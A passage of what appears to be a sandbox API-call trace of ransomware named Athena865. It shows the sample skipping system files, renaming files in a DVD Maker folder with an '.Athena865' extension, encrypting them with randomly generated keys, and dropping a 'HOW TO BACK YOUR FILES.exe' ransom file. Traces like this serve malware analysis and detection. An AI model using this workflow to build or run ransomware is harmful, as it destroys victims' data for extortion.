(lpString1="TF", lpString2="db") returned 1 [0036.302] lstrlenW (lpString="db2") returned 3 [0036.302] lstrcmpiW (lpString1="TTF", lpString2="db2") returned 1 [0036.302] lstrlenW (lpString="db3") returned 3 [0036.302] lstrcmpiW (lpString1="TTF", lpString2="db3") returned 1 [0036.302] lstrlenW (lpString="dbf") returned 3 [0036.302] lstrcmpiW (lpString1="TTF", lpString2="dbf") returned 1 [0036.302] lstrlenW (lpString="mdf") returned 3 [0036.302] lstrcmpiW (lpString1="TTF", lpString2="mdf") returned 1 [0036.302] lstrlenW (lpString="mdb") returned 3 [0036.302] lstrcmpiW (lpString1="TTF", lpString2="mdb") returned 1 [0036.302] lstrlenW (lpString="sql") returned 3 [0036.302] lstrcmpiW (lpString1="TTF", lpString2="sql") returned 1 [0036.302] lstrlenW (lpString="sqlite") returned 6 [0036.302] lstrcmpiW (lpString1="_r.TTF", lpString2="sqlite") returned -1 [0036.302] lstrlenW (lpString="sqlite3") returned 7 [0036.302] lstrcmpiW (lpString1="d_r.TTF", lpString2="sqlite3") returned -1 [0036.303] lstrlenW (lpString="sqlitedb") returned 8 [0036.303] lstrcmpiW (lpString1="od_r.TTF", lpString2="sqlitedb") returned -1 [0036.303] lstrlenW (lpString="xml") returned 3 [0036.303] lstrcmpiW (lpString1="TTF", lpString2="xml") returned -1 [0036.303] lstrlenW (lpString="$er") returned 3 [0036.303] lstrcmpiW (lpString1="TTF", lpString2="$er") returned 1 [0036.303] lstrlenW (lpString="4dd") returned 3 [0036.303] lstrcmpiW (lpString1="TTF", lpString2="4dd") returned 1 [0036.303] lstrlenW (lpString="4dl") returned 3 [0036.303] lstrcmpiW (lpString1="TTF", lpString2="4dl") returned 1 [0036.303] lstrlenW (lpString="^^^") returned 3 [0036.303] lstrcmpiW (lpString1="TTF", lpString2="^^^") returned 1 [0036.303] lstrlenW (lpString="abs") returned 3 [0036.303] lstrcmpiW (lpString1="TTF", lpString2="abs") returned 1 [0036.303] lstrlenW (lpString="abx") returned 3 [0036.303] lstrcmpiW (lpString1="TTF", lpString2="abx") returned 1 [0036.303] lstrlenW (lpString="accdb") returned 5 [0036.303] lstrcmpiW (lpString1="r.TTF", lpString2="accdb") returned 1 [0036.303] lstrlenW (lpString="accdc") returned 5 [0036.303] lstrcmpiW (lpString1="r.TTF", lpString2="accdc") returned 1 [0036.303] lstrlenW (lpString="accde") returned 5 [0036.303] lstrcmpiW (lpString1="r.TTF", lpString2="accde") returned 1 [0036.303] lstrlenW (lpString="accdr") returned 5 [0036.303] lstrcmpiW (lpString1="r.TTF", lpString2="accdr") returned 1 [0036.303] lstrlenW (lpString="accdt") returned 5 [0036.303] lstrcmpiW (lpString1="r.TTF", lpString2="accdt") returned 1 [0036.303] lstrlenW (lpString="accdw") returned 5 [0036.303] lstrcmpiW (lpString1="r.TTF", lpString2="accdw") returned 1 [0036.303] lstrlenW (lpString="accft") returned 5 [0036.303] lstrcmpiW (lpString1="r.TTF", lpString2="accft") returned 1 [0036.303] lstrlenW (lpString="adb") returned 3 [0036.303] lstrcmpiW (lpString1="TTF", lpString2="adb") returned 1 [0036.304] lstrlenW (lpString="adb") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="adb") returned 1 [0036.304] lstrlenW (lpString="ade") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="ade") returned 1 [0036.304] lstrlenW (lpString="adf") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="adf") returned 1 [0036.304] lstrlenW (lpString="adn") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="adn") returned 1 [0036.304] lstrlenW (lpString="adp") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="adp") returned 1 [0036.304] lstrlenW (lpString="alf") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="alf") returned 1 [0036.304] lstrlenW (lpString="ask") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="ask") returned 1 [0036.304] lstrlenW (lpString="btr") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="btr") returned 1 [0036.304] lstrlenW (lpString="cat") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="cat") returned 1 [0036.304] lstrlenW (lpString="cdb") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="cdb") returned 1 [0036.304] lstrlenW (lpString="ckp") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="ckp") returned 1 [0036.304] lstrlenW (lpString="cma") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="cma") returned 1 [0036.304] lstrlenW (lpString="cpd") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="cpd") returned 1 [0036.304] lstrlenW (lpString="dacpac") returned 6 [0036.304] lstrcmpiW (lpString1="_r.TTF", lpString2="dacpac") returned -1 [0036.304] lstrlenW (lpString="dad") returned 3 [0036.304] lstrcmpiW (lpString1="TTF", lpString2="dad") returned 1 [0036.304] lstrlenW (lpString="dadiagrams") returned 10 [0036.304] lstrlenW (lpString="daschema") returned 8 [0036.304] lstrcmpiW (lpString1="od_r.TTF", lpString2="daschema") returned 1 [0036.304] lstrlenW (lpString="db-journal") returned 10 [0036.304] lstrlenW (lpString="db-shm") returned 6 [0036.304] lstrcmpiW (lpString1="_r.TTF", lpString2="db-shm") returned -1 [0036.304] lstrlenW (lpString="db-wal") returned 6 [0036.305] lstrcmpiW (lpString1="_r.TTF", lpString2="db-wal") returned -1 [0036.305] lstrlenW (lpString="dbc") returned 3 [0036.305] lstrcmpiW (lpString1="TTF", lpString2="dbc") returned 1 [0036.305] lstrlenW (lpString="dbs") returned 3 [0036.305] lstrcmpiW (lpString1="TTF", lpString2="dbs") returned 1 [0036.305] lstrlenW (lpString="dbt") returned 3 [0036.305] lstrcmpiW (lpString1="TTF", lpString2="dbt") returned 1 [0036.305] lstrlenW (lpString="dbv") returned 3 [0036.305] lstrcmpiW (lpString1="TTF", lpString2="dbv") returned 1 [0036.305] lstrlenW (lpString="dbx") returned 3 [0036.305] lstrcmpiW (lpString1="TTF", lpString2="dbx") returned 1 [0036.305] lstrlenW (lpString="dcb") returned 3 [0036.305] lstrcmpiW (lpString1="TTF", lpString2="dcb") returned 1 [0036.305] lstrcmpiW (lpString1="TTF", lpString2="dct") returned 1 [0036.305] lstrcmpiW (lpString1="TTF", lpString2="dcx") returned 1 [0036.305] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\bod_r.TTF.Athena865") returned 46 [0036.305] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), lpNewFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF.Athena865" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf.athena865"), dwFlags=0x1) returned 1 [0036.306] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF.Athena865" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0036.306] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=77884) returned 1 [0036.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0036.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0036.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0036.307] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0036.307] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0036.307] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.308] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13340, lpName=0x0) returned 0x17c [0036.309] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13340) returned 0x100000 [0036.313] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0036.314] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0036.314] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0036.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0036.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0036.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0036.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0036.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0036.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0036.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0036.314] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0036.315] CloseHandle (hObject=0x17c) returned 1 [0036.315] CloseHandle (hObject=0x154) returned 1 [0036.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0036.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0036.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0036.317] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0036.317] lstrcmpiW (lpString1="directshowtap.ax", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.317] lstrcmpiW (lpString1="directshowtap.ax", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.317] lstrcmpiW (lpString1="directshowtap.ax", lpString2=".") returned 1 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2="..") returned 1 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2="windows") returned -1 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2="bootmgr") returned 1 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2="temp") returned -1 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2="pagefile.sys") returned -1 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2="boot") returned 1 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2="ids.txt") returned -1 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2="ntuser.dat") returned -1 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2="perflogs") returned -1 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2="MSBuild") returned -1 [0036.318] lstrlenW (lpString="directshowtap.ax") returned 16 [0036.318] lstrcpyW (in: lpString1=0x241e87e, lpString2="directshowtap.ax" | out: lpString1="directshowtap.ax") returned="directshowtap.ax" [0036.318] lstrlenW (lpString="directshowtap.ax") returned 16 [0036.318] lstrlenW (lpString="Athena865") returned 9 [0036.318] lstrcmpiW (lpString1="howtap.ax", lpString2="Athena865") returned 1 [0036.318] lstrlenW (lpString=".dll") returned 4 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2=".dll") returned 1 [0036.318] lstrlenW (lpString=".lnk") returned 4 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2=".lnk") returned 1 [0036.318] lstrlenW (lpString=".ini") returned 4 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2=".ini") returned 1 [0036.318] lstrlenW (lpString=".sys") returned 4 [0036.318] lstrcmpiW (lpString1="directshowtap.ax", lpString2=".sys") returned 1 [0036.318] lstrlenW (lpString="directshowtap.ax") returned 16 [0036.318] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\directshowtap.ax.Athena865") returned 53 [0036.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax.athena865"), dwFlags=0x1) returned 1 [0036.319] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0036.319] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=61440) returned 1 [0036.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0036.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0036.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0036.319] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0036.320] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0036.320] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.320] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf300, lpName=0x0) returned 0x17c [0036.322] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf300) returned 0x100000 [0036.325] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0036.326] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0036.326] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.326] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0036.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0036.326] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0036.326] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0036.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.326] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0036.326] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0036.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0036.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0036.327] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0036.327] CloseHandle (hObject=0x17c) returned 1 [0036.327] CloseHandle (hObject=0x154) returned 1 [0036.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0036.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0036.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0036.330] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2=".") returned 1 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="..") returned 1 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="windows") returned -1 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="bootmgr") returned 1 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="temp") returned -1 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="pagefile.sys") returned -1 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="boot") returned 1 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="ids.txt") returned -1 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="ntuser.dat") returned -1 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="perflogs") returned -1 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="MSBuild") returned -1 [0036.330] lstrlenW (lpString="DVDMaker.exe") returned 12 [0036.330] lstrcpyW (in: lpString1=0x241e87e, lpString2="DVDMaker.exe" | out: lpString1="DVDMaker.exe") returned="DVDMaker.exe" [0036.330] lstrlenW (lpString="DVDMaker.exe") returned 12 [0036.330] lstrlenW (lpString="Athena865") returned 9 [0036.330] lstrcmpiW (lpString1="Maker.exe", lpString2="Athena865") returned 1 [0036.330] lstrlenW (lpString=".dll") returned 4 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2=".dll") returned 1 [0036.330] lstrlenW (lpString=".lnk") returned 4 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2=".lnk") returned 1 [0036.330] lstrlenW (lpString=".ini") returned 4 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2=".ini") returned 1 [0036.330] lstrlenW (lpString=".sys") returned 4 [0036.330] lstrcmpiW (lpString1="DVDMaker.exe", lpString2=".sys") returned 1 [0036.330] lstrlenW (lpString="DVDMaker.exe") returned 12 [0036.330] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\DVDMaker.exe.Athena865") returned 49 [0036.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe.Athena865" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.athena865"), dwFlags=0x1) returned 1 [0036.331] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe.Athena865" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0036.331] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2258432) returned 1 [0036.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0036.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0036.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0036.332] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0036.332] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0036.332] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.332] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x227900, lpName=0x0) returned 0x17c [0036.336] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x27900) returned 0x170000 [0036.343] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2d50000 [0036.430] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0036.447] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0036.448] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0036.448] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0036.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0036.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0036.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0036.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0036.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0036.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0036.449] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0036.450] CloseHandle (hObject=0x17c) returned 1 [0036.450] CloseHandle (hObject=0x154) returned 1 [0036.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0036.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0036.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0036.500] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0036.500] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.500] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.500] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0036.500] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0036.500] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0036.500] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0036.500] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0036.500] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0036.500] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0036.500] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0036.500] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0036.500] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0036.500] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0036.500] lstrlenW (lpString="en-US") returned 5 [0036.500] lstrcpyW (in: lpString1=0x241e87e, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0036.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c2c0 [0036.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x42) returned 0x517168 [0036.500] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0036.500] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0036.500] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.503] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2=".") returned 1 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="..") returned 1 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="windows") returned -1 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="bootmgr") returned 1 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="temp") returned -1 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="pagefile.sys") returned -1 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="boot") returned 1 [0036.503] lstrcmpiW 